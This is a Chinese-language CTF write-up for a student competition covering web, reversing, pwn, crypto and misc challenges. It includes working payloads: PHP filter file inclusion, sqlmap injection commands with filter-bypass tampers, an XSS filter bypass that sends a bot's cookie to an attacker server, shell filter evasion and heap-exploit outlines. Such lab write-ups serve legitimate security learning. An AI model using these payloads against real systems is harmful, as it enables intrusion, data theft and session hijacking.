因为图片url要替换,这些工作量有点大,现在才弄好。请收下这份迟来的writeup
Web
Cosmos的博客后台
点击链接后跳转到url:http://cosmos-admin.hgame.day-day.work/?action=login.php
多次测试这个action参数发现,有文件包含漏洞,利用php伪协议,读取login.php源码
1 | ?action=php://filter/read=convert.base64-encode/resource=./login.php |
得到数据base64解码写入文件查看:
猜测这个DEBUG_MODE是true,那么访问login.php页面,传入参数
1 | ?debug=admin_username |
可以得到变量admin_username的内容为Cosmos!
,依次可以得到admin_password的内容为0e114902927253523756713132279690
且有:
密码md5值是0e
开头的,如果这个md5值和另一个0e
开头的字符串用==
比较,php会认为这两个字符串是浮点数的科学计数法,会转化成数字再比较,0的任何次幂都是0,那么只要找一个字符串的md5值同样是0e
开头的就可以了,百度一个即可,登录后进入后台页面admin.php,同样先利用前面的文件包含漏洞读取admin.php的源码
)
那么图片url构造为
1 | file://localhost/flag |
把结果base64解码即可
Cosmos的留言板-1
url为http://139.199.182.61/index.php?id=1
这个id存在sql注入,经过测试,过滤了空格还有一些关键词如select
,不过关键词的过滤是大小写区分的,而且只过滤了一次,所以可以大小写混合绕过或者双写绕过如:seLect
或者selselectect
。空格可以用注释替代比如:and 1=1
可以换成and/**/1=1
知道过滤了哪些之后,上sqlmap。
关键词过滤用大小写随机绕过脚本randomcase.py
,空格替换成注释space2comment.py
检测注入:
1 | sqlmap -u http://139.199.182.61/index.php?id=1 --tamper=randomcase.py,space2comment.py |
然后获取数据库名称:
1 | sqlmap -u http://139.199.182.61/index.php?id=1 --tamper=randomcase.py,space2comment.py -current-db |
得知数据库名称为easysql
,然后获取数据表:
1 | sqlmap -u http://139.199.182.61/index.php?id=1 --tamper=randomcase.py,space2comment.py -D easysql -tables |
得知有一个表为f1aggggggggggggg
,应该是存放了flag,dump出这个表:
1 | sqlmap -u http://139.199.182.61/index.php?id=1 --tamper=randomcase.py,space2comment.py -D easysql -T f1aggggggggggggg -dump-all |
flag就出来了
Cosmos的新语言
根据页面内容,可知读取了mycode这个文件的内容作为eval的参数,那么先去看看能不能访问mycode这个文件,http://2482d2a5eb.php.hgame.n3ko.co/mycode发现可以看到文件内容:
那么只要解密出这个token,拿这个token去访问url http://2482d2a5eb.php.hgame.n3ko.co/
就得了,但是这个mycode的加密的方式会变化,学长还说每隔5秒变一次,那就要写脚本了,而且这个加密方式无非就base64_encode
,strrev
,encrypt
,str_rot13
这四种,比较好写,我的脚本如下:
1 | #!/bin/python2 |
Cosmos的聊天室
其实就是xss,不过有些防护,不断测试(省略无数次失败),发现<xxx>
这样的会被过滤掉,<xxx
到不会被过滤掉,也就是只要尖括号成对出现都会被过滤掉,之前学到浏览器有容错性什么的,那就试试<xxx <!--
。
后面的<!--
把后面的内容都注释掉,前面的<xxx
很可能被解析成<xxx>
标签,于是尝试
<img src=1 onerror=alert(1) <!--
经过过滤后变成:
发现全部转成大写了,alert变成了ALERT,那不行,那把onerror的内容全部编码成HTML实体编码:
<img src=1 onerror=alert(1) <!--
在浏览器里试,发现成功弹窗了,那想办法,让其获取http://c-chat.hgame.babelfish.ink/flag
的内容,通过url跳转到我的一个域名上,传参数为内容如window.location='http://xxx/?flag=content'
,这样查看我的服务器的日志就可以看到这个content了,还有那个验证码爆破一些数,md5前6位符合就行。
但是试了很多遍都不行,本地成功了。问过学长,原来是那个机器人不能访问``http://c-chat.hgame.babelfish.ink/flag`这个链接。。。
然后我就直接把cookie给窃取过来,然后我自己访问吧
onerror对应的js代码如下:
1 | (function(){ |
记得编码成HTML实体编码。
顺便写成脚本一步到位:
1 | #!/bin/python3 |
记得把对应的payload换成自己的,然后查看服务器日志得到cookie
然后)带上cookie访问http://c-chat.hgame.babelfish.ink/flag即可
Re
unpack
学长给的学习资料直接就跟着脱壳,脱完壳后很简单了,关键逻辑就这样:
byte_6CA0A0
这个数组也知道了
直接解就好
Classic_CrackMe
这个程序是C# .net写的,IDA看汇编很复杂的样子,后发现有反编译的软件,找一个来反编译,然后找到关键代码
flag的形式就是,hgame{
+base64iv+str+}
,这个base64iv其实就是AES的初始向量,查过初始向量的作用就是加密前(解密类似)先和明文做一个异或操作,大概如下:
1 | 明文 xor iv --key--> 密文 |
那么可以看到上面第一个红框,通过不同的初始向量,同样的密钥,解密出来的结果是不一样的
1 | 'Learn principles' xor iv1 --key--> 密文 |
第一行的明文是根据上面的aes2来解密出来的,现在已知'Learn principles'
,iv1和'Same_ciphertext_'
,很容易确定通过异或可以得到iv2也就是我们的base64iv,即:
1 | 'Learn principles' xor 'Same_ciphertext_' xor iv1 == iv2 |
同样那个str也很好算,AES加密是分组加密的(这里是CBC模式),128bit一组,上一组加密的结果作为下一组加密的向量,而且text2刚好是一个分组,str刚好是第二个分组,知道text2也就知道用于与str异或的向量了,那直接在源码上动手解
可以得到base64iv和str,从而得到flag
babyPy
学点python字节码的东西,勉强还原python代码如下:
1 | def encrypt(flag): |
就是先反转,然后每一个数与前一个数异或,解密exp如下:
1 | #!/bin/python2 |
babyPyc
死磕python字节码,注意点:要用对应版本的python
1 | import marshal,dis |
根据dis.dis(code)出来的类似汇编的代码,还原出源码大概是这样的:
1 | import os,sys |
可以看到,每一行的值都加上了下一行(并且对256取模),最后一行肯定是没有变的,可以倒推前面几行。按照这个思路,写出解密脚本:
1 | #!/bin/python3 |
Pwn
findyourself
(据说是辣个男人出的题,太难了)
首先是让你执行一条命令,然后让你猜当前目录位置,猜对了后面还有一次执行命令的机会,首先当然是想执行cat flag
或者pwd
啦,可惜不行,有检查
那么当务之急当然是想办法获取当前目录位置啦,不能有pwd等单词,而且命令只能有数字字母和-
,依稀记得linux有个文件系统对应内存区域,被挂载在/proc
,赶紧去查下/proc
下都有什么,发现/proc/self/cwd
是当前目录的一个连接(link),那么执行命令ls -l /proc/self/cwd
即可看到连接到哪里了,也就是当前目录是哪。
然后还有一次执行命令的机会,限制如下:
第一个限制就是不能出现sh和cat,还有一些shell的元字符,然后就是关闭了输出流,也就是所有输出都看不到,可以通过exec /bin/sh 1>&0
将输出流重定向到0(0不是stdin吗?其实0,1,2都是绑定到同一个tty里的),我们可以先通过执行/bin/'s'h
来绕过sh
这个词的限制,然后再执行exec /bin/sh 1>&0
打开输出流
第一步有很多方法,除了/bin/'s'h
还可以$0
(具体可以查$0这个变量是什么意思,这个是做完后学长说的,据说这才是预期解),我还想到一个/bin/?h
,用?
通配符,这里没有限制这个元字符
我的操作如下:
Roc826s_Note
关于堆的题,呃,我糊里糊涂就pwn出来了,堆还似懂非懂的,那怎么写wp呢?
呃。。。大概思路就是通过UAF泄露unsorted bin的地址,从而计算出libc的基址。然后通过double free来控制fast bin,使得malloc到一块想要写数据的地址,这里选取__malloc_hook
这个区域,这个区域是存一个函数地址,然后malloc的时候会调用这个函数,只要把这块区域改写成one_gadget的地址,再malloc就可以getshell了。double free的利用方法可以参考一下这篇文章:https://blog.csdn.net/Breeze_CAT/article/details/103788698
具体看我的exp:
1 | #!/bin/python2 |
Another_Heaven
关键点:
可以通过第一处红框的代码,写入\x00
就是字符串结束符,来截断flag,结合第二个红框处验证,爆破flag
exp如下:
1 | #!/bin/python2 |
形而上的坏死
首先要知道的是,栈上面有个返回地址,是返回到__libc_start_main
那边的,可以泄露出来得到libc的基址。
利用的漏洞点:
然后利用以下漏洞点,来劫持got表项为one_gadget
我选择劫持的是__stack_chk_fail
,所以还要修改canary来触发。
漏洞点:
可以通过负数绕过20的限制,因为和20比较的时候是有符号数比较,而后面是只取了读入的数据的最低处的那个字节来使用,那么可以将要读入的数据进行最高位置为1成为负数,就可以绕过20的限制了,再通过这个写内存的操作来修改canary。
最后exp如下:
1 | #!/bin/python2 |
Crypto
Verification_code
问就是爆破,脚本如下:
1 | #!/bin/python2 |
Remainder
孙子定理套公式,得到c = m的e次方 % (p*q*r)
,然后直接开方!(我就是蠢成这样)
当然不是这么搞,问了下学长,当成rsa来搞.
因为p,q,r都是质数,所以那个欧拉函数(是这么叫的吧)就是
phi = (p-1)*(q-1)*(r*1)
然后可以解出私钥d,然后pow(c, d, p*q*r)
就可以得出m了
具体exp如下:
1 | #!/bin/python2 |
notRC4
RC4的最后状态的S盒已知,倒推每一步的状态,但是有个索引j(查查RC4的资料吧)不知道,想了一下午,最终学长给hint说可以枚举,呃,又是爆破。。。
exp如下:
1 | #!/bin/python3 |
Misc
Cosmos的午餐
wireshark分析,配置好TLS的密钥,参考一下https://blog.csdn.net/nimasike/article/details/80887436,配置好ssl_log.log,即可解密TLS会话数据。
从一个包中找到上传文件的操作,并且找到上传后的路径
访问url,下载文件解压后,是图片一张,而且图片信息里有
想了半天,问出题人,让我看图片名字。然后百度知道这涉及到一个outguess隐写软件,ubuntu的apt有源,安装好后,用备注里的key解密出隐藏信息:
打开可下载一个压缩包,解压后是个二维码文件,扫码即可
所见即为假
压缩包是伪加密,解压后得到一张图片,查了好久查不出有隐写。几天后问了出题人,又是一次灵魂拷问:“压缩包注释你看了吗”,解压完后就把注意力放到图片上了,想不到压缩包还有猫腻。
那个F5之前查到过,是个隐写算法,那么这个图片应该是F5隐写的,而且后面有密码,用工具F5-steganography可以解,解出来后是这样的:
hex编码过,解码发现有rar压缩包的头,把解码后的数据写入文件,解开压缩包,有flag.txt,里面即flag
地球上最后的夜晚
pdf里面有隐写的信息,搜索pdf隐写的资料,可查到一些工具,解密后得到
解压压缩包得到一个doc文档,修改后缀名为.zip,解压找到一个secret.xml里有flag